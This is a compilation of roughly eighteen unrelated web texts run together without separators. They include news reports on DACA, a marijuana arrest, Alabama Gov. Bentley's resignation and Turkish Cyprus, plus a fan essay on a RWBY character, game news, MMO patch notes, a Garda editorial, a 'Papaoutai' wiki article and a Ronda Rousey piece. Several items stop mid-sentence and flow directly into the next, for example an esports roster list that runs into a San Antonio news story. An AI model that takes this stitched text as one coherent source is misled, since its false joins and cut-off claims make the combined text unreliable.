Former flex aWesomeGuy and flex support starky are no longer with Luxury Watch; the three completely new players joining LW Red are ArK, r0ar, and Who. The two former Lucios, ArK and r0ar, have previous Challengers experience playing for Rhinos Gaming Wings and Team Uniqueness ROCCAT respectively. It has not been announced which roles the members of LW Red will occupy.
LW Red have not played any matches yet since shuffling the team. Challengers Season 3 is set to begin this month; offline qualifiers for the lower six spots conclude today.
The new Luxury Watch Red roster for Challengers Season 3 is (with former roles):SAN ANTONIO - The nation’s nearly 800,000 Deferred Action for Childhood Arrivals recipients, 124,000 in Texas, have the support of former San Antonio Mayor Julian Castro, who also served as the U.S. Secretary of Housing and Urban Development under President Barack Obama.
“This country needs our Dreamers. They’re talented. They work hard, and they’re vital to the future of our nation,” Castro said during a conference call hosted by America’s Voice, a Washington D.C.-based organization promoting immigration reform.
Castro said a recent analysis showed 91 percent of DACA recipients are in school, are employed or in the military.
Last month, President Donald Trump announced he was ending DACA, which granted work permits and temporary legal status to qualified young immigrants brought to the U.S. illegally as children.
The president has given Congress until next March to come up with a possible replacement.
DACA supporters have said they want a “clean” version, such as the one that was created by executive order in 2012. But they’ve said they do want a path to citizenship.
Castro called on Sen. John Cornyn, of Texas, to use his leadership role in the Republican Party to make it happen.
“Cornyn must be aware they’re living in limbo,” Castro said. “He should make sure Congress passes a DREAM Act soon.”
Cornyn recently told a Congressional judiciary committee that he believes Congress can get it done “if they are willing to work with us on real border security and interior enforcement measures to stop illegal immigration.”
"Creating a legislative fix is the right thing to do but there is a big caveat: Before we provide legal status to these young people, we must reassure, and actually, regain the public confidence that we’re serious when it comes to enforcing the law and securing our borders...I stand ready to work with all of our colleagues on both sides of the aisle to get such a border security and enforcement bill passed through both Houses and to the President’s desk before March 2018. I believe we can get it done, and if they are willing to work with us on real border security and interior enforcement measures to stop illegal immigration, we can then, as part of that process, address the DACA problem." — Sen. John Cornyn
“If Congress doesn’t step up, the lives of many Texas Dreamers and the Texas economy are going to be harmed,” Castro said.
Castro said if DACA recipients lose their work permits, the Texas economy stands to lose an estimated $6.3 billion.
“This is something that Congress can get done if it has the willpower to do it,” he said.
Copyright 2017 by KSAT - All rights reserved.A South Hempstead man was arrested in a marijuana bust Sunday night after he invited police into his home while he retrieved his motor vehicle registration -- and the officers said they smelled pot and saw a digital scale and other drug paraphernalia in plain sight.
Jonathan Moreno, 24, of 567 Stratford Rd., was charged with second-degree criminal possession of marijuana, police said.
Officers on burglary patrol at 8:30 p.m. saw Moreno looking into a 2005 Toyota parked outside the house and said Moreno told the officers the vehicle was his -- and that he had identification and registration information inside his home, Nassau County police said. Moreno "told the detectives they could accompany him inside his residence to retrieve identification and show proof that he owned the vehicle," police said.
The detectives did, and when they entered the home police said they "detected a strong odor of marijuana" and "observed in plain view a digital scale, heat sealer, a marijuana pipe, and a plastic bag containing marijuana."
A further investigation uncovered 6 pounds of marijuana, a money counter and $26,915 in cash, police said.
Police said Moreno faces arraignment Monday in First District Court in Hempstead.Now, people may say that I am just a typical fangirl who likes fictional characters too much, and honestly, you’d be right. However, there is something that this magnificent character does that surpasses any other characters that I like. He connects to me. Even though Lie is a special character, meant to represent the great creator of what RWBY has been, and still is, Monty Oum (May that amazing man rest in peace), I feel a connection to the character as if he were me as well. He’s an introverted character that clearly displays high intelligence and passion. Despite the struggles and pain he has gone through, obviously shown in the recent Volume 4, he remained tranquil and compassionate throughout all of his years of horrifying memories, ever since he was a small child. I wish to not go through specifics, but even though I have not suffered family loss like he has, I’ve been traumatized as a child by some frightening things. I don’t mean dark rooms or petty insects either. Again, I will not explain further due to personal things. But the way Lie remains strong, and uses his horrifying experiences to strengthen his mind and soul, is simply inspiring to me. He faced his demons, now I can truly stand up to mine. I want to be just like Lie. He’s amazing, physically, mentally, and emotionally. The first time I started watching RWBY I didn’t have a favorite character, until Lie Ren first appeared on screen. I instantly knew he was my favorite before he said even one word. I got laughs from Nora’s energetic personality, but Ren’s silence and patience simply impressed me from the start. If Lie was in front of me, I wouldn’t know what to do...except probably cry, and thank him. Such a powerful character that speaks more through actions than words, much like myself. I’m writing from my heart and I feel this drawing is the perfect opportunity to speak my true feelings about this phenomenal character, and I am honestly tearing up as I’m writing. Thank you Neath Oum for doing the beautiful lotus justice. You’ve done so much for his character. Again, all I can say...is thank you. Thank you.
I'm honestly feeling a lot of emotions right now guys. The paragraph below is just something I needed to convey with this image. You could say it awakened some thoughts within that needed to be released. I wrote it not for you guys...but perhaps more for myself I guess, and maybe Neath one day...one day. Heh, don't judge me for having dreams...please.*********************************Ray-KenLie, An, and Li Ren all belong to Rooster TeethThis drawing belongs to meThe video below is not a parody. It shows Chicago Public School teachers in a professional development session that will make you understand why teachers are going out of their minds and to what extent administrators have infantilized teachers.
Here is the video’s description on YouTube:
This presenter was one of several consultants flown in from California and the United Kingdom for the Chicago Public Schools’ Office of Strategic School Support Services’ special network. This is a professional development for teachers of Saturday ISAT [Illinois Standards Achievement Test] preparation classes.
Chicago Public School teachers attend a professional development session. (Obtained by The Washington Post)
As educator Larry Ferlazzo says on his Web site about this video:
Yes, you can make a lot of things look bad taken out of context, but I don’t think a case can be made that this is appropriate for any professional development, or classroom, context….
Chicago Teachers Union President Karen Lewish called it “sick” in this tweet:
This is what PD looks like in Chicago. Sick. http://t.co/SmF4kPszIS — Karen Lewis (@KarenLewisCTU) February 28, 2014
A kindergarten teacher instructs two pupils in a class
RELATED: A little dignity, please: Teachers before they were famousTurkish President Recep Tayyip Erdogan on Thursday spoke about the “plights” and “suffering” of the Turkish Cypriot people on the 43rd anniversary of Turkey’s invasion to Cyprus.
Erdogan sent a message of congratulations to Turkish Cypriot leader Mustafa Akinci on the occasion of the anniversary of Turkey’s invasion to Cyprus, on July 20, 1974.
“Now no one should expect Turkey to remain a spectator as the Turkish Cypriot people are suffering because of the perpetuation of the impasse and facing restrictions that have no legal basis,” Erdogan said in the message.
The Turkish president declared that the Turkish Cypriots have demonstrated on all occasions their belief in peace and their will to find a solution to Cyprus’ division. Despite the constraints they face, Erdogan said, Turkish Cypriots have also demonstrated the importance they attach to the principles of democracy. In this way they are able to deal with any kind of problem.
Regarding the recent, failed unification talks between Greek Cypriots and Turkish Cypriots with the mediation of UN Secretary-General Antonio Guterres, the message of Erdogan to Akinci also said that, “In your honest attitude and your goodwill, the Greek Cypriot side responded with intransigence. Unfortunately, for that reason the Crans-Montana Conference in Switzerland did not work and the negotiation process did not lead to a solution.”
As in the past, the message continues, Turkey will continue to be on the side of the Turkish Cypriots in the future. “Turkey will be the guarantor of peace, freedom and stability on the island of Cyprus and the Eastern Mediterranean.”Personal hero and hard-nosed engineer Elon Musk calls them “fool cells”. Contrast the Musk view to what seems to be a very big bet by very-smart-company Toyota. Here’s Fool.com “A big bet that puts Toyota at odds with Tesla“: Every time I examine the hype for the “hydrogen economy” I shake my head. Why would Toyota cancel their deal with Tesla while announcing a “new hydrogen fuel cell car (that) will start arriving at dealers sometime next year”?
The Fool quotes Bloomberg “the car is expected to be called the “Mirai,” the Japanese word for “the future”.” That’s appropriate because the “F” in FCV has so far stood for “10 years in the Future”.
In “Tesla Trumps Toyota: Why Hydrogen Cars Can’t Compete With Pure Electric Cars” Joe Romm argues the practical and economic superiority of BEVs over FCVs (Battery Electric Vehicles over Fuel Cell Vehicles). Good arguments — let me know what you think.
In the comments to Joe’s Energy Collective piece there are a number of useful comments. Especially this one by regular contributor Roger Arnold on hydrogen economics and footprint:
(1) If you’re talking about the most economical and widely implemented production method for hydrogen (i.e., from reforming of natural gas), then the carbon footprint for the FCV is substantially worse than if the gas were used directly in an IC engine. You’ve gone to a lot of trouble and expense for a worse result. (2) If, instead, you’re talking about the more expensive route of producing hydrogen by electrolysis of water using zero-carbon electricity, then you could get two to three times better mileage per kWh by using that electricity to charge batteries rather than make hydrogen. The main potential advantages that FCVs can deliver over BEVs are driving range and fast refueling. But those are non-issues for the commuting and shopping trips that comprise the overwhelming bulk of miles driven. Going on a road trip? Then rent a gasoline vehicle for that purpose. With the coming era of autonomous vehicles, the rental agency will deliver the vehicle to your driveway, and drive it back to their lot after you’ve returned home.
And this comment by Nathan Wilson:
Fuel cell vehicles have momentum because of the hype. If we launched a petroleum phase out tomorrow, and hydrogen FCVs, BEVs, and ammonia ICE cars had to compete in the market, I would expect 80% of the sales to go to ammonia, 19% to BEVs, and 1% for hydrogen FCVs. This is mostly based on sticker price, but also on the much easier infrastructure situation for ammonia versus hydrogen (ammonia cars can be dual fuel with gasoline backup, but HFVC cannot; ammonia can be transported by truck, but H2 cannot). The idea that any technology we like can be made cost competitive is appealing, but has no basis in reality.Fox News correspondent James Rosen has been investigated by Obama's Justice Department for being a "co-conspirator" and violator of the Espoinage Act. Attorney general Eric Holder even approved seizing Rosen's private e-mails. Now, Rosen's latest question at a State Department briefing to press aide Jen Psaki prompted her assisant Marie Harf to tweet that Psaki "explains foreign policy w/ intelligence & class. Too bad we can't say the same about @oreilly factor."
Rosen told Bill O'Reilly that "After a little more back and forth, Jen Psaki told me, she sees no utility in placing new labels on the terms of engagement for the United States. If you translate that from diplo- speak, it means no.
This administration does not regard the murders of Mr. Foley and Sotloff as acts of war or more to the point this administration is not placing United States on a war footing with respect to ISIS." O'Reilly said Psaki "looks way out of her depth over there." [See video below.]
Rosen added that the president and his team had about three spins on ISIS:
ROSEN: At one point, he said the mission is to destroy ISIS. At another point, he spoke of wanting to roll them back and at still another point he spoke of wanting to shrink ISIS sphere of influence until it is manageable problem.
And, when I asked Jen Psaki today in today's briefing about the apparent contradiction between wanting to destroy something and then wanting simply to reduce to a manageable problem, she accused me of trying to, quote, "Twist words and play word games," Bill.
O'REILLY: OK. But, with all due respect and you do not have to comment on this. That woman looks way out of her depth over there. Just the way she delivers. It just does not look like she has the gravitas for that job.
That must have caused the tweet (HT our own @TimPDion):Alabama Gov. Robert Bentley (R) resigned from office April 10 after a year-long scandal. He was facing impeachment charges. (Amber Ferguson/The Washington Post)
Alabama Gov. Robert Bentley (R) resigned Monday after fighting for more than a year against allegations he used public resources to carry out and conceal an affair with his former top aide.
Pressure built on Bentley to step down over the sex scandal as state lawmakers opened impeachment hearings against him this week and state Republican officials called for him to leave the governor's mansion.
Bentley also pleaded guilty on Monday to two misdemeanor charges related to covering up the alleged affair, one for failing to file a major contribution report and another for knowingly using campaign contributions for personal use, according to the state's attorney general office.
“I love the people of this state with all my heart,” he told reporters as he announced his resignation inside the Alabama State Capitol.
On his way to officially resign, Bentley showed up to the Montgomery County Jail and posed for a mug shot.
The events leading to the end of Bentley's career were spelled out in the 3,000 pages of a report released by the Alabama House Judiciary Committee attorney Friday detailing various indiscretions the governor may allegedly tried to keep secret as he carried out an affair with his married aide, Rebekah Caldwell Mason.
The report says Bentley texted heart-eyed emoji to Caldwell — texts that were linked up to his now ex-wife's iPad — and made threats to the first lady's staff to keep the affair secret. The report also detailed what allegedly went on behind closed doors when Mason, according to the report, left the office “with her hair tousled and her clothing in disarray.”
[Former Alabama governor Robert Bentley's year from hell, a timeline]
The Alabama Ethics Commission recommended Wednesday the governor be charged with four felonies related to campaign finance and ethics fraud tied to his affair, including an allegation he illegally loaned Mason campaign money for legal funds. Under a deal struck with the state attorney general's office, Bentley plead guilty to misdemeanor charges in an effort to avoid felony charges and potential jail time.
Under the plea deal, Bentley will face up to a year of probation and 100 hours of community service, which he is expected to perform in his capacity as a licensed dermatologist. He must turn over some $37,000 in campaign funds to the state. He could face jail time, but it's unlikely.
Alabama Gov. Robert Bentley (R) announced his resignation on April 10 as a legislative panel suspended a hearing that could have led to his impeachment on accusations stemming from his relationship with a former adviser, according to officials. (Reuters)
Up until the moment he resigned Monday, Bentley fervently denied he had done anything that should cost him his job. He never fully admitted to an affair, even after a secretly taped phone call leaked of him professing his love to a woman named “Rebekah.”
“I do not plan to resign,” Bentley said on the Alabama state Capitol steps just Friday morning. “I have done nothing illegal.”
But events unfolded over the past few days that intensified the pressure on the Republican governor to make a decision about whether to keep defending himself in both the state House and the courts or to step down.
Bentley did not react to the 3,000-page report released Friday afternoon, which, among other salacious details, alleged he opened a hotel door while on a business trip in Washington, D.C., in his boxers expecting to see Mason. By Saturday, Alabama's Supreme Court agreed to let state House impeachment proceedings go ahead. By Sunday, the state Republican Party officially called on the governor to step down. By Monday afternoon, Bentley booked himself at the Montgomery County Jail. By evening, Lt. Gov. Kay Ivey (R) was sworn in as governor; Alabama's second female governor in state history.
Bentley's resignation comes a little more than a year and a half before the second of his two terms is up.
The 74-year-old former dermatologist was an unlikely choice to rise to the state's top job. The little-known state legislator surprised many in Alabama politics by making it to a runoff for the governor's race in 2010. In a state familiar with corruption, Bentley leaned heavily on his wholesome, grandfatherly demeanor — he was a deacon and Sunday school teacher at a Baptist church in Tuscaloosa, which Mason also attended. Despite struggling to achieve any significant legislative accomplishment, in his 2014 reelection race, Bentley won the largest percentage of the vote — 63 percent — of any modern-day Republican governor in Alabama.
Then, scandal. In August 2015, Bentley's wife of 50 years, Dianne, abruptly filed for divorce. Rumors of an affair between Bentley and Mason had swirled around Alabama politics for months before the story finally broke open in March 2016. Bentley fired the state's top cop, who then went to AL.com, Alabama's largest statewide news organization, with sordid details of Bentley and Mason's alleged affair. He was armed with a phone call between Bentley and a woman he addresses as “Rebekah” that, unknown to the two on the phone, was being taped by Bentley's now ex-wife.
“Baby, let me know what I am going to do when I start locking the door,” Bentley is heard saying. “If we are going to do what we did the other day, we are going to have to start locking the door.”
[An inside look at how Bentley's sex scandal broke wide open]
A few days later, defiant Bentley asked God for forgiveness for an unknown sin while he was touring a jail to promote his prison reform legislation. He said at a news conference that he loved some of his staff more than others, and he and responded “no” when a reporter asked if that phone call was the only indiscretion. But he never quite admitted to an affair.
As he defended himself, Bentley was walking an increasingly lonely road. Alabama Republicans in the state legislature had little to lose and much to gain by abandoning the governor, who had few ties to the GOP establishment. If Bentley didn't go of his own accord, Alabama Republicans say he would have been impeached in the next month or two anyway. The House Judiciary Committee defended its right to impeach Bentley in a last-minute court battle that played out over the weekend.
Bentley will become the third top Alabama public official in less than a year to lose his job over a scandal and/or face jail time. Former House speaker Mike Hubbard (R) was sentenced in July to four years in prison after being convicted of violating state ethics laws he helped pass by using his political leverage to increase his personal wealth. And in September, a state ethics court suspended Alabama Chief Justice Roy Moore, citing “clear and convincing” evidence that he tried to block same-sex marriage in the state after the U.S. Supreme Court decision legalizing it.
Bentley will be Alabama's fourth governor to resign while in office. Most recently, former Alabama governor Guy Hunt (R) resigned in 1993 after being convicted of taking $200,000 from his inaugural fund for personal use.
Former Democratic governor Don Siegelman just finished serving a seven-year prison sentence after being convicted in 2006 — three years after he left office — for corruption related to bribery.In response to Sister Dalton’s assurance that LDS Young Women don’t need to lobby for rights, it occured to me that today’s saints are quite disconnected from our own history, sadly, even our leaders. Women’s rights leaders of every stripe paved the path for the rights certain women seem to take for granted these days. Some of the most prominent Mormon women of their time were tireless advocates for the rights of women and their personal accomplishments aside from motherhood stand in direct opposition by example to the formulaic boxing in of women into proscribed roles. Here, I’m offering a prime example of a woman who found a way to ally with the women’s rights movement, while preserving her connection and devotion to a then, universally unpopular new religion.
Susa Young Gates
March 18, 1856 – May 27, 1933
Susa Young was the second daughter born to Lucy Bigelow, Brigham Young’s twenty-second wife. Her mother had been hoping to have a son, which had some bearing on Susa’s determination to assert her worth as a daughter. This she accomplished in spades.
Brigham supported the education of his children, male and female alike. Susa, at the tender age of 13, attended the University of Deseret, where she served as editor of the school paper. She married Dr. Alma Dunford in 1872, when she was 16 years old, and bore him two children before divorcing him in 1877.
Young founded the music department at Brigham Young Academy, which she entered in 1878. By 1880, she married Jacob Gates, after she renewed her acquaintance with him in Hawaii. Although this relationship yielded 11 children, only four of them survived. When asked how their marriage was so successful, she cited, “mutual respect for and support of, one another’s work”. This may offer some insight to the failure of the first marriage and her enrollment at Brigham Young Academy the very next year.
Susa served as her father’s secretary for a time, and was sometimes jokingly referred to as the “thirteenth Apostle”. She wrote nine books, including the first Mormon novel. Gates also founded the Young Woman’s Journal and the Relief Society Magazine, which served as the official publication for the organization.
She eventually became a member of the Board of Regents at BYU and Utah State Agricultural College. Susa organized Utah chapters of the Daughters of the American Revolution, Daughters of Utah Pioneers and the National Woman’s Press Club.
Gates not only promoted women’s rights and suffrage, she was personally courted by Susan B. Anthony to serve on the National Women’s Suffrage Association. While Gates declined, by virtue of her unwillingness to refute her religion (namely the practice of polygamy), she actively engaged in the advancement of women’s rights by serving as a delegate to five Congresses of the International Council of Women. She spoke by invitation in London on “Equal Moral Standards for Men and Women,” followed by a tea given by Queen Victoria and also attended by Susan B. Anthony.
While Susa did not speak against polygamy, recognizing its advantages to women who wished to pursue a profession – she noted that there were many women within the polygynous framework who independently owned businesses and were the breadwinners for their families- she also supported a woman’s choice not to marry if she so chose. She did acknowledge that the majority of women preferred to marry and like herself, also pursue education and career goals. In the 1800’s, Utah was one of the few areas a female could practice medicine or law, were allowed to sign contracts, and own property. Her father was largely responsible for this fact.
As 1900 approached, Susa experienced both a psychological and physical breakdown that left her ill for three years. It was a time of introspection and prayer, where she later wrote of learning to master herself. A priesthood blessing predicted her recovery and service in the temple. She became very active in geneology, personally cataloguing 16,000 names on the Young side alone. Her contributions included managing the geneology departments for the Inter Mountain Republican and The Deseret News, while also writing columns for these publications.
Sisters, I have a testimony of gratitude for a heritage rich in women who asserted that part of recognizing our eternal worth is in improving our temporal conditions, indeed, including lobbying and advocating for the rights of women. Revelation such as the WOW proceded from a woman speaking up for herself, wondering if was right to be relegated to cleaning up after filthy habits of otherwise good men.
Susa Young Gates is only one example of this determination to advance women’s rights to a point of tangible equality that drastically improved the lives of individual women, and was a large part of advancing our fledgling faith into the future. I believe hearing another influential woman advise a group of Young Women to cease lobbying for rights would have caused great agitation to the early LDS women anxiously engaged in the advancement of women, including Susa Young Gates, who worked to the point of physical breakdown to ensure them.
*This quote is said to be one of Susa’s favorites
Sources (a relaxed bibliography)
Feminists for Choice 8/19/2010 http://feministsforchoice.com/susa-young-gates-this-is-what-a-suffragist-looks-like
http://www.lightplanet.com/mormons/people/susa_young_gates.html
Wikipedia http://en.wikipedia.org/wiki/Susa_Young_GatesSuper Smash Bros. for Wii U will use near-field communication (NFC) technology, said Stephan Bole, managing director of Nintendo France, in an interview with the French newspaper Le Figaro.
"E3 will be an opportunity to show the use of NFC technology on Nintendo consoles. NFC will be used in the Wii U version of Super Smash Bros.," said Bole.
NFC allows for wireless data exchange between two devices that are touching or in close proximity. The technology is the basis for the figures and bases used in Disney's Disney Infinity and Activision's Skylanders franchises. Earlier this month, Nintendo announced what appears to be its own foray into that market: the Nintendo Figurine Platform. The NFP will support training and upgrading in-game versions of figures of various Nintendo characters; the platform will support multiple games on both Wii U and Nintendo 3DS.
Nintendo said at the time that it plans to release the first NFP-compatible titles on Wii U by the end of the year and on 3DS in 2015. The company has yet to announce any figures that work with Super Smash Bros. for Wii U, which is set for release this winter, although the game could use NFC in a different way.
Tracey Lien contributed to this report.The scariest scenario is Miami. While the city is practically synonymous with storms—just ask the University of Miami—it has escaped a direct hit for 91 years, and with it the massive storm surge that might deal irreparable damage.
“It won't survive,” Craig Fugate, the former top emergency manager for both the federal government and the state of Florida, said in 2014.
Any comparison with the 1926 cyclone, a Category 4 storm still known as the Great Miami Hurricane, is only somewhat useful. The growth of the city since then doesn’t just put more people in the path of the storm—it also means that the area presents a greater risk of flooding. As Houston has demonstrated, the more built environment a city has, and especially water-impervious structures like pavement, the less water it can absorb. It’s not just that the city has grown and created more pavement; it’s that just as Houston’s expansion has taken over prairies with remarkable capacity to take in water, Miami’s growth has colonized parts of the Everglades, another water-absorbing system.
And as if that weren’t bad enough, the area is already grappling with regular (not to say normal) floods caused by rising sea levels. Part of Miami and its surrounding cities are commonly inundated by high tides.
The Miami area has seen plenty of bad hurricanes since 1926—especially Andrew in 1992, which caused $26.5 billion in damage. But the National Hurricane Center concluded that Andrew did much less damage that it might have if it had been bigger or struck more directly: “Andrew was a compact system. A little larger system, or one making landfall just a few nautical miles further to the north, would have been catastrophic for heavily populated, highly commercialized, and no less vulnerable areas to the north.”
There are different estimates about what a storm equivalent to the Great Miami Hurricane in power and location would do today, but all of them are horrific. An estimate done by the state of Florida came up with a figure of $120 to $130 billion. A 2011 National Hurricane Center study concluded it would be more like $165 billion, the costliest ever. CoreLogic, a real-estate analytics company, calculated in 2014 that reconstruction value of just the homes in the surge zone would be $103 billion.
While hurricanes are associated far less with New York than with the Southern United States, the Big Apple could become a big disaster if struck directly by a hurricane. It’s the only city in CoreLogic’s study that had more real estate at risk than Miami—much more, to the tune of $251 billion. Sandy, in 2012, showed some of the city’s vulnerabilities, especially infrastructure like the subway and electrical transmission, both of which were badly damaged in that storm.
But Sandy was a relatively weak storm—apparently not even a hurricane, technically, when it made landfall. Despite new awareness of the danger facing the metropolis since Sandy and 2011’s Hurricane Irene, it remains unprepared for a major direct hit. Simply because of the number of people, amount of low-lying real estate, and economic importance of New York City, a direct hit on the city by a strong hurricane might not produce images as apocalyptic as Houston’s, but it could freeze the city for weeks or months and take a bite out of the national economy.Japanese architect Kazuyo Sejima has long been known for making buildings that blend into the environment. Her style has been described as “fluid, transparent and intertwined with nature”—and it’s earned her (along with colleague Ryue Nishizawa) a Pritzker Prize.
An example of her style can be found in northern France at Le Louvre Lens Museum:
Workmen prepare the site of the Le Louvre Lens Museum in 2012. (Architects Kazuyo Sejima + Ryue Nishizawa SANAA/Reuters/Pascal Rossignol) More
Preparing Le Louvre Lens Museum in 2012. (Architects Kazuyo Sejima + Ryue Nishizawa SANAA/Reuters/Pascal Rossignol) More
Visitors walk past Le Louvre Lens Museum. (EPA/Yoan Valat) More
Looking at the above, it isn’t hard to imagine Sejima also designing a train that blends into the landscape. That would seem like a fanciful notion, except that Seibu Group, known in Japan for its trains and hotels, commissioned her, and her firm SANAA (pdf), to do just that. Limited-edition trains with her touch will roll out in 2018, as part of the company’s 100-year anniversary celebrations. (She’ll modify existing trains, rather than work on new ones.)
Like many of her buildings, the trains will feature a reflective surface, allowing them to “disappear” into rural and urban vistas as they connect Tokyo to other parts of Japan, including the mountains of Chichibu. “I thought it would be good,” said Sejima, “if the train could gently coexist with this variety of scenery.”
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More stories from Quartz:One Piece: Burning Blood Calls In Backup With Support Characters
By Douglas. March 9, 2016. 8:00pm
At a recent event in London, director Hiroyuki Kaneko and producer Koji Nakajima were present to showcase the upcoming One Piece fighter, One Piece: Burning Blood. They began by quickly running through some of the already announced features for Burning Blood, highlighting the 3×3 battles and Devil Fruit / Haki abilities. They |
-style immunities, including against interrupts.* Strange Brew: Noxious Fumes debuff is now less obnoxious. It shouldn't get stuck on you.* Rift: Basilisk Den: This rift should no longer claim to be 'Minor' when it's really full of super strong creatures.* Added a respawn point, resurrection NPC, and Healer just outside of Trollblight Caverns to alleviate rage caused by dying in the cave and having to run back from Perspice.* The undead population of Granitewood Crossing should be a little less punishing.* Rift: Gedlo Supply Drop: Adjusted to prevent creatures getting stuck in stacks of crates...again.* Stillmoor got a bit less stingy - daily quests now award notoriety comparable to other end-game zones.* The Endless Citadel should be slightly easier to fight through - especially for those who use mana to dispatch their enemies.* Oludare: Fixed the targeting method used by Oludare so he won't turn to face a new target while cleaving or rear-kicking (in the face).* Despoiled Band was not able to be equipped by anyone; now it can be equipped by anyone. Oh, and it also has a correctly spelled name.* Faeguard Belt has its Block changed to Parry, as Rogues do not generally block.* Added an Ambient Occlusion option to the Advanced Video Settings which makes lighting look super cool.* Fixed an issue with physics which could cause players to become stuck in a 'falling' state on certain collision. Oh, silly gravity.The whole idea of protected disclosures within An Garda Síochána is to allow members of the force who have legitimate complaints to detail their grievances in private.
It is not intended that the subject of any disclosures, often of the most sensitive nature, should become the subject of public debate.
Yet, while the fact that such details eventually make their way into the public domain cannot be helped, the reaction of those in public and political life certainly can.
Knee-jerk calls for resignations and blanket condemnations lead to a demeaning of the political system and erode trust in politics.
They can trivialise the contents of disclosures and complaints, reducing them to knockabout soundbites across the Dáil chamber.
Dáil privilege is nowadays often used to air serious allegations that have been investigated thoroughly elsewhere.
Issues around whistleblowers still have the potential for political potency, two years after claims made by Sgt Maurice McCabe led, either directly or along with other events, to a Minister for Justice, a Garda Commissioner and a Secretary General of the Department of Justice losing their jobs.
Unacceptable
Tánaiste and Minister for Justice Frances Fitzgerald is expected to appoint a senior member of the judiciary to examine the latest allegations made by another Garda whistleblower to the effect that senior officers made serious efforts to discredit a whistleblower who raised concerns about the force.
In a statement last night, Garda Commissioner Nóirín O’Sullivan said she “would like to make it clear that she was not privy to nor approved of any action designed to target any Garda employee who may have made a protected disclosure and would condemn any such action”.
The latest claims are contained in protected disclosures currently in Ms Fitzgerald’s possession, and have led to calls for the immediate resignation of Ms O’Sullivan.
It is undoubtedly the case that some whistleblowers, such as Sgt McCabe, were poorly treated but it is equally unacceptable for people to call for resignations, on foot of serious allegations that have not yet been tested.
The latest protected disclosures were only lodged this week and, while clearly serious, have been given little of the due consideration that should be afforded those who made the complaints and the people who are the subject of them.
The Garda controversies of a number of years ago, coupled with their serious political consequences, highlighted a system that was too often deaf to those who spoke up from inside, such as Sgt McCabe.
Since then, there have been substantial efforts to reform the justice system in order to increase public confidence in it and to help improve the culture of An Garda Síochána to make it a more open place for those with dissenting views and concerns about how the force is being run.
These reforms have yet to be completed and are still being bedded in.
Those who rightly championed changes in the justice system and how An Garda Síochána treated whistleblowers a number of years ago must give the reforms they pushed for time to prove their worth.
Instant calls for resignations and sanctions undermine their arguments and their cause.Not to be confused with Papaoutai
"Papaoutai" (Papa où t'es, French for "Dad, where are you?") is a song written and performed by Belgian musician Stromae. The song was released as a digital download in Belgium on 13 May 2013 as the lead single from his second studio album Racine Carrée (2013). The song peaked at number one in Belgium and France and became the best selling single of 2013 in Belgium. A remix of the song featuring Angel Haze also appears on the album.[1]
The song was performed live at the 2013 NRJ Music Awards, where it featured will.i.am. The song is also featured on the 2014 dancing game Just Dance 2015 for PAL regions and is available as DLC for NTSC regions.
Music video [ edit ]
The music video accompanying the release of "Papaoutai" was directed by Adam Nael and released on YouTube on 6 June 2013 at a total length of three minutes and fifty-two seconds. The video shows a young boy (played by Karl Ruben Noel[2]) trying to interact with his father (played by Stromae), who sits motionless, his expression and body resembling that of a mannequin. Father and son are dressed in identical outfits consisting of garishly patterned aqua shirts and shorts, knee socks, and orange bowtie. The boy looks longingly through the window at other parents and children who likewise wear matching outfits that identify them as pairs: a mother and daughter dressed similarly to Dorothy Gale in The Wizard of Oz do a dance while walking their identical dogs; a garbageman and his son collect rubbish together while doing another dance; while still another father (played by Ceasare "Tight Eyez" Willis, one of the creators of Krumping) does an aggressive, threatening dance at his reluctant son before the boy finally begins to imitate him.
Frustrated, the son does various dances in front of his own father until one of his efforts provokes the father to smile. Outside, father and son do their own dance together, but it is soon revealed that the boy is dancing alone and his father is still stiff and unresponsive. In frustration, the son joins Stromae on the sofa, assuming a rigid, lifeless position identical to his father's.
The song and video refers to the absence of Stromae's father — who had little presence in Stromae's life even before being killed in the 1994 Rwandan genocide — and to Stromae's fear of being unable to be an effective father with no memory of ever having a father of his own.[3] The video has received over 600 million views on YouTube.[4]
Covers and parody [ edit ]
A translated English language cover by CUT_ titled "Papaoutai (Stromae Cover)"[5] was released in April 2014 charting in SNEP French Singles Chart.[6]
American A cappella group Pentatonix and violinist Lindsey Stirling covered the song on Pentatonix's album PTX Vol. 3, released on 23 September 2014.[7]
Lamaoutai (Llama, where are you?) is a spoof created in November 2013 about the kidnapping of Serge the Llama from a circus in Bordeaux.[8]
Letícia Carvalho covered the song on The Voice Portugal on 11 October 2015.
Alexandre Heitz performed the song on The Voice of Germany on 2 October 2018.
Kenza Blanka covered the song on series 8 of The Voice UK on 9 February 2019, singing it in English and Arabic, and French.
Track listing [ edit ]
Digital download No. Title Length 1. "Papaoutai" 3:51 2. "Papaoutai" (Extended) 6:18 3. "Papaoutai" (Mystique Remix) 5:01 4. "Papaoutai" (Nicolaz Remix) 5:52 5. "Papaoutai" (Liam Summers Remix) 4:04
Charts and certifications [ edit ]
Certifications [ edit ]
Region Certification Certified units/Sales Austria (IFPI Austria)[33] Gold 15,000* Belgium (BEA)[34] 3× Platinum 60,000* France (SNEP)[35] Diamond 976,000* Italy (FIMI)[36] 2× Platinum 60,000* Netherlands (NVPI)[37] Platinum 20,000^ Switzerland (IFPI Switzerland)[38] 2× Platinum 60,000^ *sales figures based on certification alone
Release history [ edit ]
Region Date Format Label Belgium 13 May 2013[39] Digital download Mosaert5 Things You Didn't Know About My Sister, Ronda Rousey
UFC women's bantamweight champion Ronda Rousey details her first trip to the emergency room, which occurred after she got a Raisinet stuck up her nose.
UFC star Ronda Rousey may be one of the best-known female athletes around, but there are a lot of things you don't know about the women's bantamweight champion. As her sister/biographer, I feel like I should share a few of those things.
Ronda Rousey has only ever dated guys named "Bob."
Our mom, AnnMaria De Mars, who also happens to be the 1984 world judo champion, has a policy of calling all of our boyfriends and even potential boyfriends by the name "Bob." Her reasoning: "What's the point in learning his name if he's not going to be sticking around?"
She also assigns completely arbitrary numbers to each Bob to differentiate one from another. For example, Ronda's last boyfriend was "Bob 6." And yes, she calls them that to their faces.
So how does a boyfriend move from Bob to his actual name? The only way that happens is upon marrying into the family. So yes, by this standard, Ronda has dated only guys named Bob. (Well, except for Ronda's first boyfriend, but Mom's name for him is not suitable for print.)
Ronda's first trip to the emergency room was for a reason you'd never guess.
Ronda's list of fight injuries is common knowledge, but would you believe that the first time she ever went to the ER was because of a Raisinet? This was the scene: Ronda and her two older sisters, Jennifer and I, had been making silly faces that involved putting candy in our nostrils -- because hey, that's the kind of stupid stuff small children find hilarious. Then, Ronda pushed a Raisinet up a bit too far.
